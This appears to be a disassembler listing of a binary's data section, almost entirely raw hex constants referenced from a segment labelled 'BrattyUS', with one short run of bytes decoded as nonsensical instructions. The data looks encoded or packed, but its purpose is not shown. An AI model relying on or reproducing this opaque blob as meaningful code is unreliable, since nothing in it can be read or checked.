0B9D9802Eh, 545891D2h dd 799B9C5h, 0CAD191D2h, 5AD0D1D1h, 91D2B954h, 0B9DD5458h dd 0D1C60799h, 0C5545AD1h, 0D1900ED1h, 7D1900Eh, 54D19090h dd 2DD5545Ch, 11549055h, 5C8191A5h, 5190552Dh, 545AD1F1h dd 0DC42EE9h, 0A45AF9A5h, 11545AF9h, 0D1F151A5h, 91A51154h dd 49D8191h, 0A5115490h, 5AD1F151h, 545C5C21h, 54D19071h dd 54DE1154h, 0F151A511h, 0A41154D1h, 5CA41154h, 2E2ED554h dd 90049D52h, 91A51154h, 49D5C81h, 0D1F15190h, 2E545AC3h dd 5AC3D980h, 0D9802E54h, 0C3945ADDh, 802E545Ah, 13188FD9h dd 0D552803Dh, 7892E2Eh, 2E2EEB90h, 54D1D5D1h, 1154A411h dd 0D3D1C8A4h, 0C8D1D1D3h, 0D1D0D3D1h, 6C5291D1h, 52ED6C52h dd 6C52256Ch, 2D6C5229h, 2E99642Eh, 16DD882Eh, 5416DD54h dd 2E5416DDh, 803D882Eh, 2E2ED0B9h, 0E690065Dh, 5A822E2Eh dd 0AC523D94h, 0D0A42ECCh, 67D3889h, 2E2E2E90h, 0D952B93Ah dd 973A9009h, 9009AD52h, 1152F53Ah, 0D33A9009h, 0D27AB9E2h dd 2ED3BBD2h, 54166564h, 0D1BBD169h, 0A3D1D1D0h, 5CD1D190h dd 0E288EE54h, 5C4D545Ch, 54586554h, 6D545A49h, 0A3795458h dd 0D838D190h, 855458D5h, 0C7545AC7h, 0C42E545Ah, 0E9C42EE9h dd 5A2D945Ah, 945A2D94h, 3AD3AD2Dh, 2E2CFF38h, 545CE9C4h dd 0E9C42E81h, 899D545Ch, 5AB5900Bh, 2E2EC590h, 18905AB5h dd 9458D513h, 2994582Dh, 81D5A039h, 9458A42Eh, 89D0BB2Dh dd 5880803Dh, 2ED12D94h, 299458A4h, 5AA42ED1h, 2E3D2994h dd 0E2D33AA4h, 58E2D33Ah, 5886D1F4h, 0E42ED1B4h, 0D166B9D1h dd 0B9D1D1BBh, 0D9143959h, 0DDD1BBD1h, 0C1BBC42Eh, 2639D1B9h dd 0D1B9C1BBh, 0C839BD39h, 0D1D0D54Ah, 0D1C42ED1h, 5138900Eh dd 0ED1B9D1h, 3A903A2Dh, 0FCA45A93h, 903A2D5Ah, 0C12DB988h dd 0D1D0903Ch, 0D1D3D3D1h, 54D1BBD1h, 0FADA411h, 5ADC3A90h dd 0D1900FFDh, 0C42E5E39h, 39D185h, 8AD1DC58h, 0D1901218h dd 3850C52Eh, 5AF59D5Ah, 22265A19h, 0DFA3D95Ah, 1395FAD9h dd 955AD1C1h, 0F59D5AF5h, 265A195Ah, 0A3D95A22h, 0E29FD0D6h dd 96D1C113h, 5A96855Ah, 0D6A3D985h, 8FE29FD0h, 0D190138Eh dd 2ED1902Eh, 902ED190h, 1D122ED1h, 1DD1902Eh, 715A803Dh dd 0A42E900Fh, 0DD802EC1h, 0D12ED95Ah, 52D5C42Eh, 90A269B4h dd 2EAD51DCh, 0D1D1D580h, 0D5802ED1h, 12D9802Eh, 0D190F42Eh dd 2E2E3A2Eh db 3Ah, 2 dup(2Eh) a______z__A__bX db '......Z..\..X..&ѠѠѠ..<......Z....R' ; DATA XREF: BrattyUS:003DF43Co db '..Rшѹ..',0 a__ db '..',0 dw 2E2Eh dd 392E2ED1h, 1D1D10Eh, 0D10A2E2Eh, 222E2ED1h, 0A1D190A1h dd 0D1D1D190h, 88D1D188h, 0D3D1D1D1h, 90A1D1D1h, 0D190A1D1h dd 26D19032h, 90A02E2Eh, 0D1D1C5D1h, 0A0BF5459h, 0D190D190h dd 882E2E54h, 8ED1D159h, 58088A8Fh, 882E2E94h, 2E882E2Eh dd 2EE8812Eh, 2E2EAB2Eh, 0D42E2EA6h, 2E61D1D1h, 0D1D19B2Eh dd 5AD1D199h, 2E2E3D94h, 0D1903A88h, 2ED1D1D0h, 2E2E2E2Eh dd 2E2E2E52h, 0A12E2E9Ch, 2E2ED190h, 512E2E81h, 2E812E2Eh dd 2E2E2E2Eh, 812E2E52h, 2ED190A1h, 2E2E812Eh, 2E2E2E81h dd 0DE812E2Eh, 2E2ED1D1h, 0D190A081h, 2E812E2Eh, 2E2E812Eh dd 0D1D1C381h, 0FBD190A1h, 0F42E2E2Eh, 1D1D1DA1h byte_3FF7EC db 90h ; DATA XREF: BrattyUS:003DF440o db 0D1h, 58h, 90h dd 0D19054D1h, 0E8D19038h, 102E2E2Eh, 0A510EFA5h, 54DE10F0h dd 10FCA510h, 0D085D3A5h, 5AD190D9h, 90D33AD3h, 0D19054D1h dd 54D19081h, 9038D190h, 3AD338D1h, 0D190A3C7h, 0A380D190h dd 0D190D190h, 2A355480h, 0A391545Ah, 0D190D190h, 5AD19081h dd 9069D190h, 0D19069D1h, 0B7D19058h, 9069D190h, 2ED569D1h dd 58D190C4h, 9069D190h, 0D19069D1h, 69D19069h, 9069D190h dd 0D19058D1h, 0E2D19018h, 9052D190h, 5AC152D1h, 0C42EC954h dd 0D958D190h, 0D55952DEh, 0D54795D9h, 0D9545AFEh, 0D55952DEh dd 0D54795D9h, 2ED9D559h, 0D1902E2Eh, 52DED958h, 95D9D559h dd 5AFED547h, 945ACC54h, 0D9945ADDh, 2ED5945Ah, 58D190C4h dd 0C9945AC1h, 0D190A42Eh, 58D190ECh, 0C9945AC1h, 0D190642Eh dd 260954ECh, 54545AC8h, 5AF12609h, 52D19054h, 8F260954h dd 5AF8545Ah, 0B9D19054h, 908CD190h, 0D19058D1h, 52D19052h dd 942E2E2Eh, 2954A4D9h, 545AC73Eh, 0CC3E2954h, 0D0C4545Ah dd 58D190D1h, 3F52D190h, 2E3F2E2Eh, 58D1902Eh, 32945ACBh dd 39D5D190h, 0E8D190C0h, 906738D4h, 945C54D1h, 52D19021h dd 4781D190h, 0D190D1D1h, 0BBD19081h, 9018D190h, 0D190DED1h dd 0F1642E81h, 1038D190h, 0A410C7A5h, 2E2E2EF0h, 0A5D9A42Eh dd 0D13D5ADEh, 9416DAD1h, 0DA9416DAh, 52D99416h, 26D190B4h dd 9026D190h, 90435CD1h, 54D190D1h, 9054D190h, 2E2E52D1h dd 6C50C12Eh, 0A3642EDFh, 5AC1D190h, 0C42EC954h, 9080D190h dd 0D1903AD1h, 52D19052h, 9052D190h, 0AC52E2D1h, 0E2D19025h dd 90FAD190h, 9045B9D1h, 0A4D994D1h, 90C42ED9h, 5AFCB9D1h dd 2E2E2F94h, 0D2545AA2h, 0D190D1D1h, 2ED1902Eh, 908CD190h dd 0D19072D1h, 72D19072h, 9458D190h, 0CD54DE29h, 545ADD2Ch dd 542CF554h, 0D1902CC9h, 0D1D1D052h, 0D5FF39D5h, 0D190D5B9h dd 945AD981h, 0D5545CD5h, 5CD5545Ch, 38D19054h, 9054D190h dd 0D19038D1h, 945AC5BBh, 0DD945AC1h, 5AD9945Ah, 545CD594h dd 0D98239D5h, 5CD5945Ah, 945AD954h, 0DD545CD5h, 5AD9945Ah dd 545CD594h, 0D5945AD9h, 0B9D5545Ch, 0D3B9D5D0h, 0D5D139D5h dd 5CD5545Ch, 545CD554h, 0C1945AC5h, 5ADD945Ah, 945AD994h dd 0D5545CD5h, 0B9D59939h, 945AC5C1h, 0DD945AC1h, 5AD9945Ah dd 545CD594h, 0D54739D5h, 39D5BC39h, 5039D5B9h, 0D50C39D5h dd 39D5C9B9h, 545CD5C5h, 0D5DD39D5h, 5CD5545Ch, 945AC154h dd 0D9945ADDh, 5CD5945Ah, 945AD954h, 0D5545CD5h, 0B9D559B9h dd 61B9D501h, 0D98839D5h, 39D5945Ah, 945AD9D3h, 0D5E239D5h dd 39D57839h, 0EDB9D531h, 0D55AD190h, 5CD5545Ch, 945ADD54h dd 0D5945AD9h, 0D1D0A039h, 545AC1D1h, 0D5C42EC9h, 0B9D5642Eh dd 545AC101h, 0D5C42EC9h, 39D501B9h, 0F839D5EEh, 4D6B39D5h dd 2E4D2E2Eh, 0B1B9D52Eh, 9095B9D5h, 0D190B7D1h, 2ED19058h dd 0DD5AD190h, 5AD9945Ah, 545CD594h, 54CE39D5h, 38D44DE9h dd 7E39D52Ch, 0D549B9D9h, 0B9D9AB39h, 2E2E2DC9h, 542F8954h dd 89542F89h, 2F89542Fh, 5411E2D5h, 0E2D52F89h, 2F895411h dd 90B339DCh, 0D19058D1h, 0BDB9D558h, 0D56C39D5h, 39D57339h dd 9C39DD56h, 0F1F739C1h, 39C94639h, 945AF144h, 0DD545CCDh dd 39DD3239h, 0A839DDE6h, 90C42EDDh, 39D554D1h, 2E2E2DE6h dd 905416DBh, 2E2D52D1h, 0EE39D52Eh, 0D91C39D5h, 2E2A545Ch dd 2E2E2A2Eh, 0D52539D5h, 39DD1F39h, 0F739D50Bh, 0C59139D5h dd 0B9DD945Ah, 2339D5F9h, 2E2E2E2Eh, 39D52E2Eh, 2E2E2E75h dd 2 dup(2E2E2E2Eh), 4939D92Eh, 0DD2E2E2Eh, 0B9DDED39h dd 0C5945AC9h, 0DD1839DDh, 39DD6939h, 1F39DD4Dh, 3F2E2E2Eh dd 2E3F2E2Eh, 945ADD2Eh, 5A11E2D6h, 25942D94h, 3852D2A2h dd 0E7D1D1A8h, 5856A42Eh, 6F6E6D94h, 90B9D190h, 0D190B9D1h dd 8639EF18h, 0EF2239EFh, 0D190C42Eh, 945AFBBBh, 0EFD1D1B2h dd 39EF7539h, 0C42EEF91h, 0FB18D190h, 39EF945Ah, 0B139EF2Ah dd 0EF6A39EFh, 39EFF139h, 3139EFAAh, 0EFF039EFh, 39EF5739h dd 9839EF35h, 0EF7539EFh, 2E26D839h, 0AA39EF2Eh, 0D08739EFh dd 90C0D1D1h, 58D190D1h, 90B7D190h, 0D190BBD1h, 2ED19052h dd 54545AC8h, 75542F29h, 545AF125h, 90238954h, 0D19081D1h dd 11E2D52Eh, 2F11E2D6h, 2E2F2E2Eh, 2E2E2F2Eh, 0D2E2E2Fh dd 65542E2Eh, 545ACD2Ch, 902C0F54h, 2154B9D1h, 545AC726h dd 0CC262154h, 0D190545Ah, 2E2E2B58h, 90B9D190h, 0D190B9D1h dd 0D190A358h, 0FFAC50D8h, 2E2AD1D1h, 2E2E2A2Eh, 0F52E2E2Ah dd 0AF10545Ch, 0D4AE10D4h, 0F2D190A3h, 0D190D1D1h, 0B9D19058h dd 2F2E2E2Fh, 0F5542E2Eh, 2BF5542Bh, 542BF554h, 2E2F2BF5h dd 52DE102Eh, 9C203954h, 3954545Ah, 0B9D19020h, 902E2E27h dd 0D19054D1h, 54D19052h, 0DCDED190h, 0D190D1D1h, 2ED19058h dd 9052D190h, 0D1902ED1h, 0A238D42Eh, 10EF38D4h, 0A410C7A4h dd 2E2E2FC7h, 89398554h, 2EDD945Ah, 81D190C4h, 90C42EC1h dd 0B9B481D1h, 2ED19051h, 90B9D190h, 0D19054D1h, 2ED1902Eh dd 902ED190h, 0D1902ED1h, 2ED1902Eh, 902ED190h, 0D1901DD1h dd 2ED1902Eh, 902ED190h, 0D1902ED1h, 19FA3D1Dh, 0DF85EADFh dd 0EADF85EAh, 2ED19085h, 902ED190h, 0D1902ED1h, 2ED1902Eh dd 901DD190h, 0D19054D1h, 54D190A5h, 902ED190h, 0D19087D1h dd 38D1901Dh dword_3FFDBC dd 0FA0900h, 0F300F6CBh, 0C57400EEh, 0D2F400h, 3A00B079h ; DATA XREF: BrattyUS:003DF444o dd 201100B2h, 252000h, 500495Eh, 712D00C2h, 72AF00h, 0A4007402h dd 0CE2D006Fh, 0CE3300h, 15007EB7h, 30270028h, 386D00h dd 30038EAh, 0E6CE0039h db 0, 9Fh, 0F3h byte_3FFE07 db 7Bh ; DATA XREF: BrattyUS:003DF448o dd 2BC8A1D3h, 5400A4FFh, 0B4CF6100h, 65010000h, 6FA2FAFh dd 2A994FCEh, 72001C07h, 7BFF0F00h, 83FE3FB0h, 42030427h dd 0B608BE71h, 60003600h, 0D8004C00h, 5B20E400h, 0A2A923F7h dd 8A4A82C7h, 0DF00320Bh, 0ED0012FCh, 0BF9F79FFh, 867B1771h dd 6B2E7EAh, 0D2FFF1C7h, 0F1001E00h, 0BA0016FFh, 0C00180Ch db 1, 58h, 0E5h byte_3FFE6F db 2Ch ; DATA XREF: BrattyUS:003DF44Co dd 3952745Ch, 51D1DD38h, 0D588512Eh, 512F5152h, 8C89D15Ah dd 0A45D882Ch, 0F12C2EA1h, 0D28988D2h, 0D138D12Ch, 5A58D1D1h dd 0D194D152h, 0DDD45052h, 0BD84D1D1h, 2E54D1D1h, 5C81D1E2h dd 0BB54542Dh, 0E22E540Eh, 0D1D1D152h, 2E054DD1h, 0D25494A4h dd 0D1D1D1D1h, 2EC52D53h, 0D18884D1h, 2BD12B2Bh, 0C158D3E2h dd 39E83858h, 26882B39h, 0BB715454h, 71D10ED1h, 0D1882627h dd 2E882726h, 28D18181h, 2E268839h, 2697545Ah, 0D1DDE226h dd 0DDD15888h, 0D1D0C9D0h, 1DC1D1D0h, 2E15D1D0h, 2A2A312Ah dd 882A2A2Ah, 0F13D2135h, 642A2AD1h, 0D13288F9h, 0D1D48831h dd 0A1541D2Ch, 28382891h, 28285428h, 2854D190h, 29D1D128h dd 0ED52D1CDh, 28D02C2Ch, 28282828h, 5CC1C528h, 0BB54BB1Dh dd 0DEEE54D1h, 0BBD1D18Eh, 0C1D0D1D1h, 0D1D1D158h, 21D1523Dh dd 21215021h, 0D13A3A21h, 0D129D194h, 0C188D1D1h, 78E5C1F6h dd 0D3D05C2Eh, 52015AA3h, 0E5395252h, 0D05CBBBBh, 9C5AE9D3h dd 9C9C9C9Ch, 39BA849Ch, 0D1F1CD5Ah, 0BBD3B9F6h, 0D1D1C5A3h dd 0D1A7A352h, 0A3D1A7D1h, 5AD1A7D0h, 0A73AA32Ah, 585AD4D1h dd 0D1D158D1h, 2 dup(0D1D1D1D1h), 72D17258h, 72D172D1h dd 0D1D158D1h, 587258D1h, 3F85C372h, 0D1885E3Fh, 0D19909D1h dd 3C58D154h, 88D12190h, 0D1D1133Fh, 0D9B4D1D1h, 0DAD194DDh dd 5AD15AD1h, 0D12E5AD1h, 0D5BBD088h, 0D111D2D9h, 69522939h dd 0B518D129h, 84B9B9F1h, 3DA8ACC9h, 0D1D1D152h, 0D181F118h dd 12D15254h, 0A35212D1h, 0D0A312D0h, 0CEB92E12h, 8815EDE3h dd 9D05C5Ah, 2E2E19C3h, 0D25A2E52h, 18529152h, 0E2B55179h dd 0B150B158h, 0E28952D1h, 3AACB458h, 5A585A39h, 3D1F5AD0h dd 5A2E9452h, 3131D92Dh, 3854815Ch, 5A2E522Eh, 0D195E2A4h dd 545C3131h, 0F5582E38h, 6409262Eh, 2EE25A26h, 0D1ACC12Eh dd 0D158DD94h, 0E21E3DA4h, 3989FDD1h, 5C8859D1h, 5CA3D3D0h dd 58525A58h, 0D1795454h, 812ED181h, 81818181h, 8181D0D2h dd 0D2818181h, 0BBD181D0h, 0D1813911h, 0D0D2A588h, 81391181h dd 0D0D25B11h, 81D16539h, 2ED181D1h, 81818181h, 81D0D281h dd 81818181h, 0D181D0D2h, 391181BBh, 0D25B1181h, 813911D0h dd 0D0D281D1h, 21A33D81h, 0D13D3D81h, 6C587DC4h, 0D152DD88h dd 58D1C1D1h, 52D15A58h, 5B589080h, 0F3AD5B5Bh, 0A49012C1h dd 0D0D1D13Dh, 0D05AD152h, 5AD1A4D1h, 5409B4D1h, 0D1D15A2Fh dd 52D1D058h, 84E8D194h, 15762E50h, 2E2E2DD1h, 52355AD1h dd 522E3535h, 0D2B4292Eh, 0BF5D2D2h, 54D15A5Ah, 2CD0D1D0h dd 2C2C5C45h, 3D2AD115h, 882E31D1h, 0CB9D1DDh, 88D1882Fh dd 0B9D1DD29h, 2F522D88h, 0D1F13A29h, 51BB51B9h, 0D12E8158h dd 2F815891h, 0D12DD92Eh, 2F5CD1D1h, 94DD2E29h, 0F95DD1D9h dd 0D1593931h, 0BB88B916h, 2E5881B9h, 0BB2E2DD1h, 0B9B9D0D1h dd 0DE2D2C88h, 0D1B92D2Ch, 54390000h, 5C39D190h, 0AD39BB2Dh dd 0B9D1DDBBh, 2F882F2Fh, 852E2C28h, 8DA32E3Ah, 0F15C58D1h dd 0D1E1D1D1h, 0E12B15D1h, 0C115E188h, 58C1CD58h, 88884DC9h dd 0D12F2F2Fh, 88D12F2Fh, 0D194132Fh, 52D126D1h, 0D121C1C1h dd 0DED925D1h, 0C110DD91h, 0D65AD1A4h, 5A292929h, 0D91298DDh dd 52DD5252h, 0D2D15AD9h, 94D9545Ah, 5AD15A16h, 52BBD2B4h dd 52525252h, 91D92094h, 182EDE88h, 81818195h, 318135D1h dd 8194D181h, 5AC19081h, 5851692Dh, 0D1718486h, 94522D29h dd 52529452h, 0F6D5CE52h, 5A88D081h, 2A2B1116h, 2A2A2A2Ah dd 25252A2Ah, 2951D16Dh, 0D113D129h, 81D18852h, 58D13354h dd 395A20D1h, 312A312Dh, 2CA4D12Dh, 26885031h, 39D154B9h dd 0A5420E90h, 35494D2Eh, 0D1242424h, 0D188D113h, 88D12E5Ch dd 0F9E1587Ah, 7490D105h, 2A452F09h, 8876D5D1h, 0B0BA1D1h dd 0BA1842Eh, 8A1C908h, 51112E08h, 54D15A32h, 0D152D1D9h dd 0D1A4DDD5h, 0D1D112DAh, 0D1D1D939h, 5290C5D5h, 52E2D1D1h dd 0B958B8D1h, 70DDDD11h, 18DFD011h, 0D9D91132h, 2DC15AD1h dd 52D12E88h, 11D12990h, 11D04DBDh, 29D1D12Dh, 0D1D188D1h dd 0D1D0D090h, 0D0903211h, 0D179B5D1h, 0D17F4588h, 0D1D1D0D1h dd 7238B9D0h, 51BBD8B9h, 0D98CD98Ch, 588484D9h, 25D15C27h dd 585A945Ah, 7288D121h, 894489B9h, 0EC318944h, 252C9158h dd 542CEF2Ch, 90D1D1D1h, 0C1D158D0h, 0D888C1C1h, 3AC988C5h dd 5AC0A42Eh, 0A4D1D13Dh, 0D1D16447h, 0ACD13888h, 0B9D1D1D1h dd 0D1D12DD1h, 0D9DED1D1h, 2ED191D1h, 0DE11D9D1h, 3A542FD9h dd 0D1D9DED5h, 94D9D191h, 0D12ED191h, 0D9DE11D9h, 0D53A542Fh dd 2D5A94D0h, 0AC5A915Ah, 5C585AB4h, 0D1B0C358h, 54ECD1CFh dd 55F1D13Dh, 2ACDFF4Fh, 0CD55D12Ah, 0D1292929h, 55C3D1C8h dd 0D951D1C5h, 0C7C05CD9h, 8D8D80D1h, 24D855C3h, 0E324C9CDh dd 0F1C0C4F3h, 0E6F1F7F1h, 0C05A8888h, 0CFC3CDCDh, 0C4FBD1C8h dd 0D19FC3E3h, 55E3D1D1h, 0D174D15Ah, 0D1D1D174h, 74D15AACh dd 0EAD174D1h, 0D1C8C0C1h, 0C8D1C8C0h, 0F0F1FDD1h, 9052BE3Fh dd 5A9C52D1h, 0FE93D1F4h, 0D1FED15Ah, 5ADDA4CEh, 0FBD1F4C3h dd 8388C1C4h, 29D1BB5Dh, 905AEA8Dh, 0D1C8C4DBh, 0FBC4D1C8h dd 0BB545A55h, 5A553AD1h, 5AD1BB54h, 4DD6555Ah, 2E4D4D4Dh dd 0E9D15C55h, 50B1BB4Dh, 0F7F4C490h, 0C3C4C3C4h, 0C3D14D9Ch dd 4A4A55C8h, 4A4A4A4Ah, 0C3902DB6h, 503AD918h, 3DD1D12Ch dd 0D121B95Ah, 38D12FC5h, 0DED1A455h, 0DC90DCD1h, 0A4DC9058h dd 0D1C85552h, 90DCD1DEh, 0DC9058DCh, 0C4D154DCh, 0C4D1C4D1h dd 0C3D1C3C3h, 2E2B6390h, 2E5288D1h, 0D9802DB9h, 0D101D1D1h dd 0D1D1D1D1h, 293861D1h, 0C96988D1h, 90903661h, 0D12F8118h dd 54D19088h, 0D1A5D4D1h, 2ED12F88h, 8B2C110Dh, 114E5205h dd 9059D188h, 818151A9h, 12D151D1h, 0D1888851h, 393B90D1h dd 0D15CD188h, 0D1D13E3Eh, 52D13E88h, 0D1D152D1h, 3E905C58h dd 0D1C1153Eh, 0DD3E88D1h, 0BBD1BB11h, 392EB9D1h, 0D2D2BBD2h dd 0D1D1A4D1h, 0D1D4B9D4h, 54D15454h, 2F90D1C5h, 0D12C2C5Ch dd 0C4D1EFC7h, 54D1D1DDh, 418B2D2Eh, 0D1D18852h, 29988DD1h dd 0C554D1D1h, 90D19DD1h, 54D1EAD1h, 0D1D1D154h, 54D1D1C1h dd 0D1D1D12Bh, 0D1D1D154h, 0D73EC5EBh, 2B0DC954h, 0C9DE95C1h dd 5471D194h, 0A438D1D1h, 0E9D15858h, 58EAD158h, 29E55858h dd 5AD88888h, 542E2C2Eh, 0F9F9D152h, 0DDD1E029h, 0C920F554h dd 6CD1DDA5h, 54CBD1D1h, 513F3F3Fh, 5ABD5455h, 0A288358Fh dd 0A2D55AD3h, 0D7D35AD5h, 383ADD5Ah, 5A2D2D2Dh, 2E1AA509h dd 848B55D1h, 8C1030B0h, 49D17989h, 3384D3BBh, 0D2D25A33h dd 0D2523A5Ah, 0FA5A5A5Ah, 2D523A2Dh, 585A5AD9h, 5ADD1594h dd 0BB5ADD91h, 2D2EDDA4h, 58212D94h, 25945A94h, 2D2D5858h dd 52585A29h, 2ED1B4DDh, 0DE2D2ED1h, 21212121h, 0B6212121h dd 2101010h, 2E8A1002h, 8C13DD21h, 2E2F8A86h, 0D084D184h dd 5A5A9484h, 58523A5Ah, 895A595Ah, 843AD179h, 2DEA2DEAh dd 0D4C1D439h, 15D1882Eh, 15151515h, 0D439D315h, 60D1522Eh dd 15D125DDh, 9C521562h, 0D1BB5AB4h, 0D1C19C88h, 0BB882C29h dd 0D12BD15Ah, 0D1312E55h, 99D1D154h, 522B9A2Bh, 902B902Eh dd 522B902Bh, 2B902B90h, 3D90D155h, 69552BD1h, 552B2B2Bh dd 7DD1652Bh, 2BD12ED1h, 55522B88h, 2BD1882Bh, 2BED5279h dd 0D1522BD1h, 0D6D15C88h, 0D32F2FD1h dd 2FD1D6D1h, 88D5D1D3h, 0EDD13950h, 882F8852h, 5B8CD92Fh dd 522D90B9h, 5C8888D1h, 2E588881h, 25882FD1h, 8858FD5Ch dd 3AB95223h, 2F2338A1h, 8852BD52h, 0D1D1233Ah, 0D1E25AB9h dd 2DD188D1h, 0DED95A52h, 3863C13Ah, 0A35ADD38h, 2EDDD1ACh dd 525A2525h, 642F3988h, 525D1D0h, 0A9D12188h, 0C6D152D1h dd 5A5AD5B4h, 3951BA69h, 2EC22F88h, 0D1D952D1h, 0C56561D3h dd 3921261Eh, 528C2988h, 5281D169h, 2FD19DD1h, 5A88DD64h dd 0B92EBBD1h, 51695A29h, 1FF11815h, 0F3D1BBD6h, 9E5CD152h dd 3838D19Eh, 0D11F382Eh, 26892626h, 89263A26h, 0D19D3A26h dd 8123C22Fh, 0D1946C90h, 9039EAD1h, 816C2F2Fh, 79D1B52Fh dd 2DA42828h, 0BB2CBBEEh, 0D12EB528h, 0D329D058h, 2DE32835h dd 28D0D12Eh, 2954DF9Dh, 0D135D12Dh, 81D1D1C1h, 0C93AA409h dd 2E88213Ah, 0E129D1D1h, 2D2AA9D1h, 88462A85h, 8888522Eh dd 0ACE1A990h, 0D1D188D1h, 2D2CD152h, 2DD1882Ch, 90762D51h dd 0C194882Dh, 2E2E5A2Eh, 8888D12Eh, 942CE5D1h, 0D18854D3h dd 0C188D195h, 0C9D152D1h, 9D05221h, 2DD1DED1h, 0DDD12152h dd 0DDDD905Ch, 0D1D1128Ah, 0D9D13852h, 58495290h, 12119452h dd 74395A11h, 2B2B992Dh, 0E92B2B2Bh, 0D1FDE5F9h, 52D152D1h dd 2D0988D1h, 9052D139h, 0D127D12Dh, 0D125BB52h, 54D1215Ah dd 212590D1h, 0E15A5AD1h, 0A921D151h, 52D915D8h, 549021D1h dd 3DD9BBD1h, 9021D152h, 0D13DBB51h, 20889021h, 11D1D1D1h dd 54E9D127h, 21395AD1h, 0B95454A0h, 5CF5B9C7h, 54B9C7D1h dd 0C7541121h, 2781B6BBh, 0E9D11539h, 395AD154h, 38D9383Dh dd 0D12139E1h, 88ECD55Ah, 0D18852D1h, 3939BB2Eh, 0D1DB39DBh dd 2151D151h, 2A2A2A2Bh, 0FDE5E22Bh, 8876E2F9h, 0C52D52D1h dd 52D15BC5h, 0D1ACD1ACh, 0D111D1ACh, 0BB3E3E2Eh, 11255249h dd 3E3C3F3Ch, 39D1583Ch, 0A3A33535h, 69D2D2D2h, 0A336A32Eh dd 52D1D137h, 3A52D1D1h, 3A522DD1h, 0BB2D52B9h, 11D9912Dh dd 3939D111h, 2ED2D152h, 0B52E2E0Fh, 29522939h, 5DD12E55h dd 0D190D1D1h, 3AD15454h, 0BBD188D1h, 0D154D1EAh, 0D1D1A3B8h dd 0A0D1F42Eh, 0EA198DC1h, 0C5C91DF5h, 3EA218Dh, 0F5F51D2Eh dd 0F4C103EAh, 0F4F4F4F4h, 5AD1941Dh, 2D19805Ah, 275AF5D1h dd 0F4115A5Ah db 2 dup(12h) word_4008FA dw 1154h ; DATA XREF: BrattyUS:003DF450o dd 5A5AD503h, 3A5A165Ah, 113A94A4h, 41EF112Eh, 980095Ah dd 9282E80h, 0EDEE942Eh, 0EEF75894h, 969654CDh, 94969696h dd 29291112h, 0C1948925h, 78B5A4D1h, 5CD1A4D1h, 0A4D1DC54h dd 2D2D3D89h, 52D94C9h, 152D54E2h, 2E112EE2h, 6D2E2911h dd 9412396Dh, 0D3521919h, 392E392Eh, 81295488h, 0D13D5481h dd 11D094DBh, 882EAC81h, 6612D12Eh, 5AF72B39h, 942E182Eh dd 21212188h, 54090921h, 6C111116h, 9212588h, 0C280890Dh dd 3151515h, 6BD403D1h, 4975CAB9h, 88BD812Dh, 1D1264A4h dd 52540509h, 2E2EED2Eh, 4EFC5A15h, 0B98DCD2Eh, 0FA11448Dh dd 0CDCDCDD6h, 0CDF58DCDh, 0CD8DCD8Dh, 8DCD8DCDh, 8D8CD1D1h dd 0CDCD8D8Dh, 608DCDCDh, 0CDCDCD3Ch, 65658DCDh, 21E062E5h dd 8D318D0Eh, 0CDCDCD8Dh, 0A8DCD8Dh, 0CD614B4Bh, 0CBC9CDC8h dd 8D544B63h, 0C5CDCD8Dh, 0D189555Ah, 4989AD49h, 5A7A7878h dd 58494951h, 0CD546454h, 2E748DCDh, 773E77D0h, 2E2E8120h dd 2E3A2E2Eh, 94482E3Ah, 47477094h, 40474747h, 4569C540h dd 11D94542h, 6C498145h, 9D404381h, 41418181h, 0C95F415Dh dd 52165C4Eh, 3916165Ch, 5B2E5BBBh, 54542E3Eh, 5A2E5454h dd 91382D5Ah, 2952F1CFh, 69615821h, 999C9C12h, 9952D9D6h dd 0D9129998h, 99969996h, 96969696h, 96979697h, 0B9949481h dd 0C1585439h, 2E496429h, 5C2E492Eh, 91383A64h, 885CEA5Ah dd 392E612Eh, 752E752Eh, 39398894h, 88258094h, 99D1D152h dd 52803838h, 0D1598D94h, 2E2E2E2Eh, 0C92E58B9h, 115B352Eh dd 886F1174h, 64296454h, 5A2E2E64h, 2D2E2E5Ah, 5CCD5CCDh dd 116B64D0h, 0F4F4F4F4h, 1DF4F4F4h, 0F4F4F4F4h, 0F5F55A1Dh dd 0F4F4F4F5h, 111DF4F4h, 5AF411D7h db 1Dh, 0F0h word_400AEA dw 5A4Ch ; DATA XREF: BrattyUS:003DF454o dd 9FFF0356h, 5200A000h, 51FF2E2Dh, 0 dd 0D1BBF14Ah, 2E2E0D6Dh, 50D92E2Eh, 11FF2E26h, 0E2893EACh dd 5465A89h, 0BA00F200h, 3DFF5400h, 0CFFF58D2h, 522EF1FFh dd 945BF2A9h, 945B0000h, 5AD2945Bh, 592E5B2Eh, 0B4A95AD2h dd 9000h, 2 dup(0) dd 51FF0000h, 0A4A42EAAh, 15460BFFh, 1553E8B8h, 15531553h dd 8849h, 0BA008847h, 901DE9FFh, 15535222h, 0E691C296h dd 0FCB82B4Ah, 0ADFF7CB8h, 6C004200h, 3200B1FFh, 0B8008000h dd 1468200h ; --------------------------------------------------------------------------- loc_400B84: ; DATA XREF: BrattyUS:003DF458o push esp push esp db 2Eh, 2Eh, 2Eh push esp push esp push esp db 2Eh pop edx adc [ecx+54h], esi push esp push esp push esp push esp retn 2E2Eh ; --------------------------------------------------------------------------- dd 2E2E2E2Eh, 0D42E2E54h, 912E2E2Eh, 0F52EF52Eh, 0C62EF52Eh dd 2E2E2EF5h, 0E12E2E54h, 112ECC2Eh, 11121182h, 54111111h dd 0C9545454h, 54541154h, 111194C9h, 5A112E2Eh, 0D311D5D0h dd 0C25411D0h, 54A9CE2Eh, 0D1D5D954h, 0C6542E54h, 94545454h dd 2ECEC211h, 5454F854h, 54542E54h, 212E2E96h, 0CD392E3Dh dd 0D45AA354h, 0C2D8C2D3h, 5454C211h, 54545454h, 0BA9054B7h dd 54F1F12Eh, 0F1F1F111h, 545454F1h, 54545454h, 90545454h dd 54545454h, 82545454h, 5454542Eh, 54542E82h, 542E9454h dd 2ED52E54h, 542EDA2Eh, 0D7D45454h, 113B114Eh, 5454DADAh dd 0EA1354D4h, 54C2545Ah, 112E2ED4h, 54545454h, 5A111186h dd 0F3125A5Ah, 5AD52E5Ah, 94549494h, 11945411h, 94549454h dd 945A1111h, 95111194h, 11EE115Ah, 0DC5A5A2Fh, 5AD39583h dd 525ADF94h, 125A11F7h, 58D3115Ah, 8E545454h, 5A541161h dd 11ED12D1h, 6CDF94D3h, 5454123Ah, 31D75A47h, 115A5A5Ah dd 2 dup(2E2E2E2Eh), 952E2ED4h, 2E2E952Eh, 35119454h, 545AD054h dd 90545454h, 54D15A54h, 905A5454h, 